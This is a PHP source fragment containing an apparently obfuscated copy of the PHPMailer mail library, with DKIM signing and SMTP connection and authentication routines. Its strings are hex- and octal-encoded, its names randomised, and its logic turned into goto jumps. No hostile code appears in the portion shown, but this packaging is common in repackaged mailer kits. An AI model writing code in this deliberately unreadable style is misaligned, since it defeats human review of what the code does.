        $mgR5a["\142\141\x73\145\156\141\155\145"] = $Bg9Qp[2];
        ZV9WE:
        if (!array_key_exists(5, $Bg9Qp)) {
            goto Ft9_E;
        }
        $mgR5a["\x65\x78\164\x65\x6e\163\x69\157\156"] = $Bg9Qp[5];
        Ft9_E:
        if (!array_key_exists(3, $Bg9Qp)) {
            goto LsXbU;
        }
        $mgR5a["\x66\x69\x6c\145\x6e\x61\155\x65"] = $Bg9Qp[3];
        LsXbU:
        cvcVZ:
        switch ($p0n3v) {
            case PATHINFO_DIRNAME:
            case "\144\151\x72\156\x61\155\145":
                return $mgR5a["\144\151\x72\156\x61\x6d\145"];
            case PATHINFO_BASENAME:
            case "\x62\x61\163\x65\x6e\141\155\x65":
                return $mgR5a["\x62\x61\x73\x65\156\x61\x6d\145"];
            case PATHINFO_EXTENSION:
            case "\x65\x78\x74\x65\156\163\151\157\156":
                return $mgR5a["\x65\x78\x74\x65\156\x73\x69\157\x6e"];
            case PATHINFO_FILENAME:
            case "\146\x69\154\x65\x6e\141\155\x65":
                return $mgR5a["\x66\x69\154\145\x6e\x61\155\x65"];
            default:
                return $mgR5a;
        }
        K7A9l:
        TJ294:
    }
    public function set($dEC3m, $GywUj = '')
    {
        if (!property_exists($this, $dEC3m)) {
            goto HIkrw;
        }
        $this->{$dEC3m} = $GywUj;
        return true;
        HIkrw:
        $this->setError($this->lang("\166\141\x72\x69\141\142\154\x65\x5f\x73\145\164") . $dEC3m);
        return false;
    }
    public function secureHeader($YX4WE)
    {
        return trim(str_replace(["\xd", "\12"], '', $YX4WE));
    }
    public static function normalizeBreaks($izkEo, $IOR82 = null)
    {
        if (!(null === $IOR82)) {
            goto i95H1;
        }
        $IOR82 = static::$LE;
        i95H1:
        $izkEo = str_replace(["\15\12", "\xd"], "\12", $izkEo);
        if (!("\xa" !== $IOR82)) {
            goto fWt3p;
        }
        $izkEo = str_replace("\xa", $IOR82, $izkEo);
        fWt3p:
        return $izkEo;
    }
    public static function getLE()
    {
        return static::$LE;
    }
    protected static function setLE($cnE0e)
    {
        static::$LE = $cnE0e;
    }
    public function sign($Bn_5X, $VB7tf, $pKFGn, $IhWe8 = '')
    {
        $this->sign_cert_file = $Bn_5X;
        $this->sign_key_file = $VB7tf;
        $this->sign_key_pass = $pKFGn;
        $this->sign_extracerts_file = $IhWe8;
    }
    public function DKIM_QP($xjCDA)
    {
        $rYeep = '';
        $XtdVD = strlen($xjCDA);
        $KJHmb = 0;
        d60Js:
        if (!($KJHmb < $XtdVD)) {
            goto XqoAZ;
        }
        $UalVS = ord($xjCDA[$KJHmb]);
        if (0x21 <= $UalVS and $UalVS <= 0x3a or $UalVS == 0x3c or 0x3e <= $UalVS and $UalVS <= 0x7e) {
            goto EGzdc;
        }
        $rYeep .= "\75" . sprintf("\45\60\x32\130", $UalVS);
        goto uTqg5;
        EGzdc:
        $rYeep .= $xjCDA[$KJHmb];
        uTqg5:
        zF8lx:
        ++$KJHmb;
        goto d60Js;
        XqoAZ:
        return $rYeep;
    }
    public function DKIM_Sign($b_n_I)
    {
        if (defined("\120\113\x43\123\67\137\124\x45\x58\x54")) {
            goto v21nZ;
        }
        if (!$this->exceptions) {
            goto y6OyH;
        }
        throw new Exception($this->lang("\x65\170\x74\x65\156\163\x69\x6f\x6e\137\x6d\151\163\163\151\156\147") . "\x6f\160\x65\156\163\163\154");
        y6OyH:
        return '';
        v21nZ:
        $keegN = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            goto t1sfs;
        }
        $pUWMr = openssl_pkey_get_private($keegN);
        goto bxpog;
        t1sfs:
        $pUWMr = openssl_pkey_get_private($keegN, $this->DKIM_passphrase);
        bxpog:
        if (!openssl_sign($b_n_I, $EUe0N, $pUWMr, "\x73\x68\141\x32\x35\66\x57\x69\x74\150\122\x53\x41\x45\x6e\143\162\x79\x70\164\151\x6f\x6e")) {
            goto ZDSzP;
        }
        openssl_pkey_free($pUWMr);
        return base64_encode($EUe0N);
        ZDSzP:
        openssl_pkey_free($pUWMr);
        return '';
    }
    public function DKIM_HeaderC($b_n_I)
    {
        $b_n_I = preg_replace("\x2f\x5c\x72\x5c\x6e\x5b\x20\134\164\x5d\53\57", "\x20", $b_n_I);
        $yCe67 = explode("\xd\12", $b_n_I);
        foreach ($yCe67 as $pEv6e => $rYeep) {
            if (!(strpos($rYeep, "\x3a") === false)) {
                goto gb23l;
            }
            goto Cnmvb;
            gb23l:
            list($Zb8eM, $GywUj) = explode("\72", $rYeep, 2);
            $Zb8eM = strtolower($Zb8eM);
            $GywUj = preg_replace("\57\133\x20\134\x74\x5d\x7b\62\54\x7d\x2f", "\x20", $GywUj);
            $yCe67[$pEv6e] = trim($Zb8eM, "\40\11") . "\72" . trim($GywUj, "\40\x9");
            Cnmvb:
        }
        flMcT:
        return implode("\xd\xa", $yCe67);
    }
    public function DKIM_BodyC($UlmlF)
    {
        if (!empty($UlmlF)) {
            goto K1Fpz;
        }
        return "\xd\12";
        K1Fpz:
        $UlmlF = static::normalizeBreaks($UlmlF, "\xd\12");
        return rtrim($UlmlF, "\15\xa") . "\xd\12";
    }
    public function DKIM_Add($DxRuc, $q3Ca0, $UlmlF)
    {
        $cO5ZR = "\x72\163\x61\55\x73\x68\141\x32\x35\x36";
        $M0r21 = "\x72\145\154\141\170\145\144\57\x73\x69\x6d\x70\154\x65";
        $fNuyO = "\144\x6e\163\57\x74\170\164";
        $brkl5 = time();
        $drfJj = "\123\165\142\152\x65\x63\164\x3a\40{$q3Ca0}";
        $kQ6Rm = explode(static::$LE, $DxRuc);
        $brIkc = '';
        $Z42y0 = '';
        $SrMnh = '';
        $q4mu1 = '';
        $naPXG = '';
        $cCM45 = [];
        $Yb3B_ = '';
        $BYJBz = '';
        $C0lWR = '';
        foreach ($kQ6Rm as $y_KXY) {
            if (strpos($y_KXY, "\x46\x72\x6f\x6d\x3a") === 0) {
                goto ryNwY;
            }
            if (strpos($y_KXY, "\124\157\72") === 0) {
                goto NzZUv;
            }
            if (strpos($y_KXY, "\104\x61\164\145\72") === 0) {
                goto NURSH;
            }
            if (!empty($this->DKIM_extraHeaders)) {
                goto q3Hm3;
            }
            if (!empty(${$q4mu1}) and strpos($y_KXY, "\40\75\77") === 0) {
                goto qEBnu;
            }
            $q4mu1 = '';
            goto KwP5j;
            qEBnu:
            ${$q4mu1} .= $y_KXY;
            KwP5j:
            goto lwsmH;
            ryNwY:
            $brIkc = $y_KXY;
            $q4mu1 = "\146\162\x6f\x6d\137\150\x65\141\x64\145\x72";
            goto lwsmH;
            NzZUv:
            $Z42y0 = $y_KXY;
            $q4mu1 = "\x74\157\137\150\145\x61\x64\145\162";
            goto lwsmH;
            NURSH:
            $SrMnh = $y_KXY;
            $q4mu1 = "\x64\141\x74\x65\137\x68\x65\x61\144\145\x72";
            goto lwsmH;
            q3Hm3:
            foreach ($this->DKIM_extraHeaders as $zxaNM) {
                if (!(strpos($y_KXY, $zxaNM . "\72") === 0)) {
                    goto nNoe2;
                }
                $EiLO0 = $y_KXY;
                foreach ($this->CustomHeader as $Fh8w2) {
                    if (!($Fh8w2[0] === $zxaNM)) {
                        goto nPAeC;
                    }
                    $EiLO0 = trim($Fh8w2[0]) . "\72\40" . $this->encodeHeader(trim($Fh8w2[1]));
                    goto Xf5AL;
                    nPAeC:
                    GuqII:
                }
                Xf5AL:
                $cCM45[$zxaNM] = $EiLO0;
                $q4mu1 = '';
                goto jnkZT;
                nNoe2:
                RLZPJ:
            }
            jnkZT:
            lwsmH:
            JZ0J0:
        }
        IMSDX:
        foreach ($cCM45 as $pEv6e => $GywUj) {
            $Yb3B_ .= "\72" . $pEv6e;
            $BYJBz .= $GywUj . "\15\12";
            if (!$this->DKIM_copyHeaderFields) {
                goto nc_Ls;
            }
            $C0lWR .= "\x9\174" . str_replace("\x7c", "\75\67\x43", $this->DKIM_QP($GywUj)) . "\x3b\15\xa";
            nc_Ls:
            F7oPZ:
        }
        XIDOE:
        if (!$this->DKIM_copyHeaderFields) {
            goto kckti;
        }
        $zzfpb = str_replace("\x7c", "\75\67\103", $this->DKIM_QP($brIkc));
        $g7_oI = str_replace("\x7c", "\75\67\x43", $this->DKIM_QP($Z42y0));
        $rWVwM = str_replace("\x7c", "\x3d\x37\x43", $this->DKIM_QP($SrMnh));
        $q3Ca0 = str_replace("\x7c", "\75\x37\x43", $this->DKIM_QP($drfJj));
        $naPXG = "\x9\x7a\x3d{$zzfpb}\xd\12" . "\x9\x7c{$g7_oI}\xd\xa" . "\11\174{$rWVwM}\15\xa" . "\11\174{$q3Ca0}\x3b\xd\12" . $C0lWR;
        kckti:
        $UlmlF = $this->DKIM_BodyC($UlmlF);
        $UKxkZ = strlen($UlmlF);
        $zOwlq = base64_encode(pack("\x48\x2a", hash("\163\150\141\62\65\66", $UlmlF)));
        if ('' == $this->DKIM_identity) {
            goto HnSIw;
        }
        $Z_I4q = "\40\x69\75" . $this->DKIM_identity . "\x3b";
        goto LU7Vx;
        HnSIw:
        $Z_I4q = '';
        LU7Vx:
        $TPDEU = "\x44\x4b\x49\115\55\123\x69\147\x6e\x61\164\x75\x72\x65\72\x20\x76\75\61\x3b\40\141\x3d" . $cO5ZR . "\73\40\x71\x3d" . $fNuyO . "\x3b\40\154\75" . $UKxkZ . "\x3b\40\163\x3d" . $this->DKIM_selector . "\73\15\12" . "\11\164\75" . $brkl5 . "\x3b\40\143\75" . $M0r21 . "\x3b\15\xa" . "\11\150\75\x46\x72\157\x6d\x3a\124\157\72\x44\x61\164\x65\x3a\x53\x75\x62\x6a\x65\x63\x74" . $Yb3B_ . "\73\xd\xa" . "\11\x64\x3d" . $this->DKIM_domain . "\x3b" . $Z_I4q . "\15\12" . $naPXG . "\x9\x62\150\x3d" . $zOwlq . "\x3b\xd\12" . "\x9\x62\75";
        $pPmfX = $this->DKIM_HeaderC($brIkc . "\15\12" . $Z42y0 . "\xd\12" . $SrMnh . "\15\xa" . $drfJj . "\15\xa" . $BYJBz . $TPDEU);
        $ty0iw = $this->DKIM_Sign($pPmfX);
        return static::normalizeBreaks($TPDEU . $ty0iw) . static::$LE;
    }
    public static function hasLineLongerThanMax($YX4WE)
    {
        return (bool) preg_match("\57\x5e\x28\56\x7b" . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . "\54\x7d\51\57\155", $YX4WE);
    }
    public function getToAddresses()
    {
        return $this->to;
    }
    public function getCcAddresses()
    {
        return $this->cc;
    }
    public function getBccAddresses()
    {
        return $this->bcc;
    }
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }
    protected function doCallback($JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy)
    {
        if (!(!empty($this->action_function) and is_callable($this->action_function))) {
            goto wTcaJ;
        }
        call_user_func($this->action_function, $JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy);
        wTcaJ:
    }
    public function getOAuth()
    {
        return $this->oauth;
    }
    public function setOAuth(OAuth $pCSB8)
    {
        $this->oauth = $pCSB8;
    }
}
class SMTP
{
    const VERSION = "\66\x2e\60\56\x37";
    const LE = "\xd\xa";
    const DEFAULT_PORT = 25;
    const MAX_LINE_LENGTH = 998;
    const DEBUG_OFF = 0;
    const DEBUG_CLIENT = 1;
    const DEBUG_SERVER = 2;
    const DEBUG_CONNECTION = 3;
    const DEBUG_LOWLEVEL = 4;
    public $do_debug = self::DEBUG_OFF;
    public $Debugoutput = "\145\143\x68\157";
    public $do_verp = false;
    public $Timeout = 300;
    public $Timelimit = 300;
    protected $smtp_transaction_id_patterns = ["\145\x78\x69\155" => "\x2f\133\x5c\144\135\173\x33\x7d\x20\117\113\40\x69\144\x3d\x28\56\52\51\57", "\163\145\156\144\x6d\x61\x69\154" => "\57\x5b\x5c\144\x5d\x7b\63\175\x20\x32\x2e\60\x2e\60\x20\50\x2e\x2a\51\x20\115\145\163\x73\x61\x67\x65\x2f", "\x70\157\163\x74\x66\x69\170" => "\57\133\x5c\144\135\x7b\x33\175\40\x32\56\60\56\60\40\117\153\72\x20\x71\x75\145\x75\x65\x64\x20\x61\163\x20\x28\x2e\x2a\51\57", "\x4d\x69\x63\162\157\x73\x6f\x66\164\x5f\x45\123\115\x54\x50" => "\57\x5b\x30\55\x39\x5d\x7b\x33\175\40\62\x2e\133\x5c\x64\x5d\56\x30\x20\x28\56\52\x29\100\x28\77\x3a\56\x2a\x29\x20\121\x75\x65\165\145\144\40\x6d\x61\151\x6c\x20\146\157\162\x20\144\145\x6c\151\166\145\x72\171\57", "\101\155\x61\x7a\157\x6e\x5f\x53\105\x53" => "\57\133\x5c\x64\x5d\173\x33\x7d\40\x4f\x6b\40\50\56\52\x29\57", "\123\145\156\144\107\x72\151\x64" => "\x2f\133\x5c\x64\135\173\x33\175\x20\117\153\x3a\40\x71\x75\145\x75\145\144\40\x61\x73\40\50\56\x2a\x29\57", "\103\x61\155\160\x61\151\147\156\115\157\156\x69\x74\x6f\x72" => "\57\x5b\x5c\144\135\x7b\63\x7d\x20\x32\56\x30\56\x30\x20\117\113\72\x28\x5b\x61\55\x7a\x41\x2d\x5a\x5c\144\135\173\64\x38\175\x29\57"];
    protected $last_smtp_transaction_id;
    protected $smtp_conn;
    protected $error = ["\x65\162\x72\x6f\162" => '', "\144\145\x74\x61\x69\154" => '', "\x73\x6d\x74\160\x5f\143\x6f\144\145" => '', "\163\155\164\160\137\143\x6f\x64\x65\137\x65\x78" => ''];
    protected $helo_rply = null;
    protected $server_caps = null;
    protected $last_reply = '';
    protected function edebug($YX4WE, $vdarJ = 0)
    {
        if (!($vdarJ > $this->do_debug)) {
            goto zZOEi;
        }
        return;
        zZOEi:
        if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            goto MAyrO;
        }
        $this->Debugoutput->debug($YX4WE);
        return;
        MAyrO:
        if (!(!in_array($this->Debugoutput, ["\x65\162\x72\157\x72\x5f\x6c\x6f\147", "\150\x74\155\154", "\145\x63\150\x6f"]) and is_callable($this->Debugoutput))) {
            goto tJNS7;
        }
        call_user_func($this->Debugoutput, $YX4WE, $vdarJ);
        return;
        tJNS7:
        switch ($this->Debugoutput) {
            case "\x65\x72\x72\157\x72\137\154\x6f\147":
                error_log($YX4WE);
                goto cc5Yh;
            case "\x68\x74\155\154":
                echo gmdate("\131\55\155\55\144\40\110\72\151\x3a\x73"), "\40", htmlentities(preg_replace("\x2f\133\134\x72\134\156\135\53\x2f", '', $YX4WE), ENT_QUOTES, "\x55\x54\x46\55\70"), "\x3c\x62\162\x3e\12";
                goto cc5Yh;
            case "\x65\143\150\x6f":
            default:
                $YX4WE = preg_replace("\57\x5c\x72\134\156\174\134\162\57\x6d\x73", "\12", $YX4WE);
                echo gmdate("\131\55\x6d\x2d\144\40\110\72\151\72\x73"), "\11", trim(str_replace("\12", "\xa\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x9\40\40\40\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\x20\40", trim($YX4WE))), "\xa";
        }
        p81iu:
        cc5Yh:
    }
    public function connect($S1iUU, $qnls6 = null, $yMz18 = 30, $p0n3v = [])
    {
        static $Xfza1;
        if (!(null === $Xfza1)) {
            goto Taxs0;
        }
        $Xfza1 = function_exists("\163\x74\x72\x65\x61\155\x5f\163\157\x63\x6b\x65\164\137\x63\154\x69\x65\x6e\164");
        Taxs0:
        $this->setError('');
        if (!$this->connected()) {
            goto tmimp;
        }
        $this->setError("\x41\154\x72\x65\x61\x64\171\x20\x63\x6f\156\156\x65\143\x74\145\x64\40\x74\157\x20\141\x20\163\145\162\166\145\x72");
        return false;
        tmimp:
        if (!empty($qnls6)) {
            goto idodg;
        }
        $qnls6 = self::DEFAULT_PORT;
        idodg:
        $this->edebug("\103\157\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\40\157\160\145\156\x69\156\x67\40\x74\157\x20{$S1iUU}\72{$qnls6}\54\40\164\x69\x6d\x65\157\x75\164\75{$yMz18}\x2c\x20\x6f\x70\x74\x69\157\156\163\x3d" . (count($p0n3v) > 0 ? var_export($p0n3v, true) : "\x61\x72\162\x61\171\50\51"), self::DEBUG_CONNECTION);
        $rXtrb = 0;
        $lsf1w = '';
        if ($Xfza1) {
            goto c7o7i;
        }
        $this->edebug("\x43\157\x6e\x6e\145\x63\x74\151\x6f\x6e\72\x20\163\x74\162\145\x61\155\137\163\x6f\143\153\x65\164\137\x63\154\151\x65\x6e\164\x20\156\x6f\x74\x20\141\166\x61\151\154\141\x62\154\145\54\x20\x66\x61\x6c\154\151\156\x67\40\x62\141\x63\153\x20\164\157\x20\x66\163\157\143\153\157\160\x65\156", self::DEBUG_CONNECTION);
        set_error_handler([$this, "\145\x72\x72\x6f\x72\110\x61\156\x64\x6c\145\x72"]);
        $this->smtp_conn = fsockopen($S1iUU, $qnls6, $rXtrb, $lsf1w, $yMz18);
        restore_error_handler();
        goto SIx9F;
        c7o7i:
        $Civ9H = stream_context_create($p0n3v);
        set_error_handler([$this, "\145\162\x72\157\162\110\141\x6e\x64\154\145\x72"]);
        $this->smtp_conn = stream_socket_client($S1iUU . "\x3a" . $qnls6, $rXtrb, $lsf1w, $yMz18, STREAM_CLIENT_CONNECT, $Civ9H);
        restore_error_handler();
        SIx9F:
        if (is_resource($this->smtp_conn)) {
            goto KRIaT;
        }
        $this->setError("\x46\141\x69\x6c\x65\x64\40\164\157\x20\x63\x6f\x6e\x6e\145\143\x74\x20\x74\157\x20\163\x65\x72\x76\x65\162", '', (string) $rXtrb, (string) $lsf1w);
        $this->edebug("\123\x4d\x54\120\40\x45\x52\122\117\x52\x3a\x20" . $this->error["\x65\162\x72\157\x72"] . "\72\x20{$lsf1w}\40\x28{$rXtrb}\51", self::DEBUG_CLIENT);
        return false;
        KRIaT:
        $this->edebug("\x43\x6f\x6e\156\145\143\164\x69\x6f\156\72\x20\x6f\160\145\x6e\145\144", self::DEBUG_CONNECTION);
        if (!(substr(PHP_OS, 0, 3) != "\x57\x49\116")) {
            goto VuH0S;
        }
        $PtSJw = ini_get("\x6d\141\170\137\145\x78\x65\x63\165\x74\151\x6f\x6e\137\x74\151\x6d\145");
        if (!(0 != $PtSJw and $yMz18 > $PtSJw)) {
            goto AMGh0;
        }
        @set_time_limit($yMz18);
        AMGh0:
        stream_set_timeout($this->smtp_conn, $yMz18, 0);
        VuH0S:
        $xeFEM = $this->get_lines();
        $this->edebug("\x53\105\122\126\x45\122\x20\55\x3e\x20\103\x4c\111\x45\116\x54\72\x20" . $xeFEM, self::DEBUG_SERVER);
        return true;
    }
    public function startTLS()
    {
        if ($this->sendCommand("\x53\124\x41\x52\124\124\x4c\x53", "\x53\124\101\x52\x54\x54\114\x53", 220)) {
            goto VeHsr;
        }
        return false;
        VeHsr:
        $VyyQ3 = STREAM_CRYPTO_METHOD_TLS_CLIENT;
        if (!defined("\123\x54\x52\x45\x41\115\x5f\103\x52\x59\120\124\x4f\x5f\115\x45\x54\x48\117\x44\x5f\x54\x4c\x53\166\61\137\x32\137\103\x4c\x49\105\116\124")) {
            goto vIp23;
        }
        $VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
        $VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
        vIp23:
        set_error_handler([$this, "\x65\162\162\x6f\162\110\x61\x6e\144\154\145\x72"]);
        $Wvvh6 = stream_socket_enable_crypto($this->smtp_conn, true, $VyyQ3);
        restore_error_handler();
        return (bool) $Wvvh6;
    }
    public function authenticate($t7mwF, $RNSkS, $BuaXA = null, $j1oGl = null)
    {
        if ($this->server_caps) {
            goto L2isw;
        }
        $this->setError("\101\x75\164\x68\145\156\164\x69\x63\x61\164\151\x6f\156\40\151\163\x20\x6e\157\x74\x20\141\x6c\154\x6f\167\x65\x64\x20\x62\x65\146\157\162\145\x20\110\105\x4c\117\x2f\105\110\114\x4f");
        return false;
        L2isw:
        if (array_key_exists("\105\110\114\x4f", $this->server_caps)) {
            goto ndn3V;
        }
        if (empty($BuaXA)) {
            goto inARk;
        }
        goto Bfl19;
        ndn3V:
        if (array_key_exists("\101\x55\x54\x48", $this->server_caps)) {
            goto UNkDO;
        }
        $this->setError("\101\165\164\150\145\156\164\151\x63\141\164\151\157\156\40\x69\x73\40\156\157\x74\40\x61\154\154\157\167\145\x64\x20\141\x74\40\164\x68\151\163\40\163\x74\x61\x67\145");
        return false;
        UNkDO:
        $this->edebug("\101\x75\x74\150\40\155\145\164\150\157\x64\40\x72\145\161\165\x65\x73\x74\x65\x64\72\x20" . ($BuaXA ? $BuaXA : "\125\116\x53\120\x45\x43\111\x46\111\105\104"), self::DEBUG_LOWLEVEL);
        $this->edebug("\101\165\x74\150\40\x6d\x65\x74\150\x6f\144\163\40\x61\x76\x61\151\154\141\x62\154\x65\x20\x6f\x6e\x20\164\x68\x65\40\x73\145\x72\x76\x65\162\72\x20" . implode("\x2c", $this->server_caps["\x41\x55\124\x48"]), self::DEBUG_LOWLEVEL);
        if (!(null !== $BuaXA and !in_array($BuaXA, $this->server_caps["\101\125\124\110"]))) {
            goto CHr6X;
        }
        $this->edebug("\122\145\161\165\145\163\164\145\x64\x20\x61\165\164\150\40\155\x65\x74\150\157\x64\x20\156\157\x74\40\141\166\141\151\x6c\141\x62\x6c\145\x3a\40" . $BuaXA, self::DEBUG_LOWLEVEL);
        $BuaXA = null;
        CHr6X:
        if (!empty($BuaXA)) {
            goto ajOb9;
        }
        foreach (["\103\122\x41\115\x2d\x4d\104\65", "\x4c\x4f\x47\x49\116", "\120\x4c\101\111\116", "\130\x4f\101\125\124\x48\x32"] as $MGcrK) {
            if (!in_array($MGcrK, $this->server_caps["\101\125\124\x48"])) {
                goto qSeQW;
            }
            $BuaXA = $MGcrK;
            goto sldN6;
            qSeQW:
            uGKb8:
        }
        sldN6:
        if (!empty($BuaXA)) {
            goto tImi4;
        }
        $this->setError("\116\x6f\x20\x73\165\160\160\157\x72\164\x65\144\x20\x61\x75\164\150\145\156\164\x69\x63\x61\x74\151\x6f\156\40\155\x65\x74\x68\157\x64\163\40\146\157\165\156\x64");
        return false;
        tImi4:
        self::edebug("\101\165\164\x68\40\155\x65\164\x68\x6f\x64\40\x73\x65\x6c\x65\x63\164\145\144\x3a\40" . $BuaXA, self::DEBUG_LOWLEVEL);
        ajOb9:
        if (in_array($BuaXA, $this->server_caps["\101\125\x54\x48"])) {
            goto qp40S;
        }
        $this->setError("\124\150\145\40\162\x65\161\165\145\x73\x74\145\144\40\141\165\164\x68\x65\156\x74\x69\x63\141\x74\151\157\156\x20\x6d\145\x74\150\x6f\144\x20\42{$BuaXA}\x22\x20\151\x73\x20\156\157\x74\x20\x73\x75\160\x70\157\162\164\x65\144\x20\142\x79\40\x74\150\x65\x20\x73\x65\162\x76\145\x72");
        return false;
        qp40S:
        goto Bfl19;
        inARk:
        $BuaXA = "\x4c\117\107\111\116";
        Bfl19:
        switch ($BuaXA) {
            case "\x50\114\101\x49\116":
                if ($this->sendCommand("\101\x55\x54\x48", "\x41\x55\124\x48\40\x50\114\x41\111\116", 334)) {
                    goto kWadR;
                }
                return false;
                kWadR:
                if ($this->sendCommand("\125\163\145\162\x20\x26\x20\x50\x61\163\163\167\x6f\x72\144", base64_encode("\0" . $t7mwF . "\0" . $RNSkS), 235)) {
                    goto q4DXc;
                }
                return false;
                q4DXc:
                goto NaECh;
            case "\114\117\107\111\x4e":
                if ($this->sendCommand("\x41\125\124\x48", "\101\125\x54\110\40\x4c\x4f\107\x49\x4e", 334)) {
                    goto qklOA;
                }
                return false;
                qklOA:
                if ($this->sendCommand("\125\x73\x65\162\156\141\x6d\145", base64_encode($t7mwF), 334)) {
                    goto xCHMu;
                }
                return false;
                xCHMu:
                if ($this->sendCommand("\120\x61\x73\163\167\x6f\x72\x64", base64_encode($RNSkS), 235)) {
                    goto UCGWz;
                }
                return false;
                UCGWz:
                goto NaECh;
            case "\103\122\101\115\55\x4d\x44\x35":
                if ($this->sendCommand("\101\x55\x54\x48\x20\x43\x52\x41\115\55\x4d\x44\x35", "\x41\125\x54\x48\x20\x43\x52\x41\x4d\55\x4d\104\65", 334)) {
                    goto b6tLc;
                }
                return false;
                b6tLc:
                $kjlMP = base64_decode(substr($this->last_reply, 4));
                $NxYHM = $t7mwF . "\x20" . $this->hmac($kjlMP, $RNSkS);
                return $this->sendCommand("\125\x73\x65\162\x6e\x61\155\x65", base64_encode($NxYHM), 235);
            case "\x58\x4f\101\125\x54\110\62":
                if (!(null === $j1oGl)) {
                    goto sy2ZK;
                }
                return false;
                sy2ZK:
                $pCSB8 = $j1oGl->getOauth64();
                if ($this->sendCommand("\101\x55\124\110", "\101\x55\124\x48\x20\x58\117\101\x55\x54\x48\62\40" . $pCSB8, 235)) {
                    goto Pqa0h;
                }
                return false;
                Pqa0h:
                goto NaECh;
            default:
                $this->setError("\x41\x75\164\150\x65\x6e\164\151\143\x61\x74\x69\157\156\x20\155\145\164\150\x6f\x64\x20\x22{$BuaXA}\42\x20\151\x73\x20\x6e\157\x74\40\163\165\x70\x70\x6f\162\164\x65\x64");
                return false;
        }
        CYSfo:
        NaECh:
        return true;
    }
    protected function hmac($FJQWD, $pEv6e)
    {
        if (!function_exists("\x68\x61\163\x68\x5f\x68\x6d\141\x63")) {
            goto Q0K1a;
        }
        return hash_hmac("\x6d\144\x35", $FJQWD, $pEv6e);
        Q0K1a:
        $QJf2s = 64;
        if (!(strlen($pEv6e) > $QJf2s)) {
            goto MM2Ee;
        }
        $pEv6e = pack("\x48\52", md5($pEv6e));
        MM2Ee:
        $pEv6e = str_pad($pEv6e, $QJf2s, chr(0x0));
        $Con44 = str_pad('', $QJf2s, chr(0x36));
        $PPQHU = str_pad('', $QJf2s, chr(0x5c));
        $roHAi = $pEv6e ^ $Con44;
        $PLEIS = $pEv6e ^ $PPQHU;
        return md5($PLEIS . pack("\x48\52", md5($roHAi . $FJQWD)));
    }
    public function connected()
    {
        if (!is_resource($this->smtp_conn)) {
            goto JVLCi;
        }
        $LcQ1t = stream_get_meta_data($this->smtp_conn);
        if (!$LcQ1t["\145\157\146"]) {
            goto wx7HR;
        }
        $this->edebug("\x53\x4d\124\x50\x20\x4e\117\124\x49\103\105\72\x20\x45\117\x46\x20\x63\141\165\147\x68\x74\x20\x77\150\x69\x6c\x65\x20\x63\x68\x65\143\153\x69\156\x67\x20\x69\x66\40\143\x6f\x6e\x6e\x65\143\164\x65\144", self::DEBUG_CLIENT);
        $this->close();
        return false;
        wx7HR:
        return true;
        JVLCi:
        return false;
    }
    public function close()
    {
        $this->setError('');
        $this->server_caps = null;
        $this->helo_rply = null;
        if (!is_resource($this->smtp_conn)) {
            goto pKyRx;
        }
        fclose($this->smtp_conn);
        $this->smtp_conn = null;
        $this->edebug("\x43\157\x6e\156\x65\x63\x74\x69\x6f\x6e\x3a\40\143\x6c\157\163\x65\144", self::DEBUG_CONNECTION);
        pKyRx:
    }
    public function data($A9qXM)
    {
        if ($this->sendCommand("\104\x41\x54\x41", "\104\x41\x54\x41", 354)) {
            goto QK5z3;
        }
        return false;
        QK5z3:
        $yCe67 = explode("\12", str_replace(["\xd\xa", "\15"], "\12", $A9qXM));
        $UFDNA = substr($yCe67[0], 0, strpos($yCe67[0], "\x3a"));
        $YD9wJ = false;
        if (!(!empty($UFDNA) and strpos($UFDNA, "\40") === false)) {
            goto laapZ;
        }
        $YD9wJ = true;
        laapZ:
        foreach ($yCe67 as $rYeep) {
            $jIZfu = [];
            if (!($YD9wJ and $rYeep == '')) {
                goto M6sgF;
            }
            $YD9wJ = false;
            M6sgF:
            WsicF:
            if (!isset($rYeep[self::MAX_LINE_LENGTH])) {
                goto Caalj;
            }
            $lLiqT = strrpos(substr($rYeep, 0, self::MAX_LINE_LENGTH), "\x20");
            if (!$lLiqT) {
                goto oM1xf;
            }
            $jIZfu[] = substr($rYeep, 0, $lLiqT);
            $rYeep = substr($rYeep, $lLiqT + 1);
            goto GoJmV;
            oM1xf:
            $lLiqT = self::MAX_LINE_LENGTH - 1;
            $jIZfu[] = substr($rYeep, 0, $lLiqT);
            $rYeep = substr($rYeep, $lLiqT);
            GoJmV:
            if (!$YD9wJ) {
                goto D0uHx;
            }
            $rYeep = "\x9" . $rYeep;
            D0uHx:
            goto WsicF;
            Caalj:
            $jIZfu[] = $rYeep;
            foreach ($jIZfu as $ciT4j) {
                if (!(!empty($ciT4j) and $ciT4j[0] == "\x2e")) {
                    goto ONHmM;
                }
                $ciT4j = "\x2e" . $ciT4j;
                ONHmM:
                $this->client_send($ciT4j . static::LE, "\x44\x41\x54\101");
                ITYgP:
            }
            a1iq1:
            T7zSo:
        }
        vRVyP:
        $BRJq2 = $this->Timelimit;
        $this->Timelimit = $this->Timelimit * 2;
        $HYIC3 = $this->sendCommand("\x44\x41\x54\101\x20\x45\x4e\104", "\x2e", 250);
        $this->recordLastTransactionID();
        $this->Timelimit = $BRJq2;
        return $HYIC3;
    }
    public function hello($S1iUU = '')
    {
        return $this->sendHello("\105\x48\x4c\x4f", $S1iUU) or $this->sendHello("\x48\x45\x4c\x4f", $S1iUU);
    }
    protected function sendHello($njo9Y, $S1iUU)
    {
        $T__mp = $this->sendCommand($njo9Y, $njo9Y . "\40" . $S1iUU, 250);
        $this->helo_rply = $this->last_reply;
        if ($T__mp) {
            goto tRS8O;
        }
        $this->server_caps = null;
        goto Tv9Up;
        tRS8O:
        $this->parseHelloFields($njo9Y);
        Tv9Up:
        return $T__mp;
    }
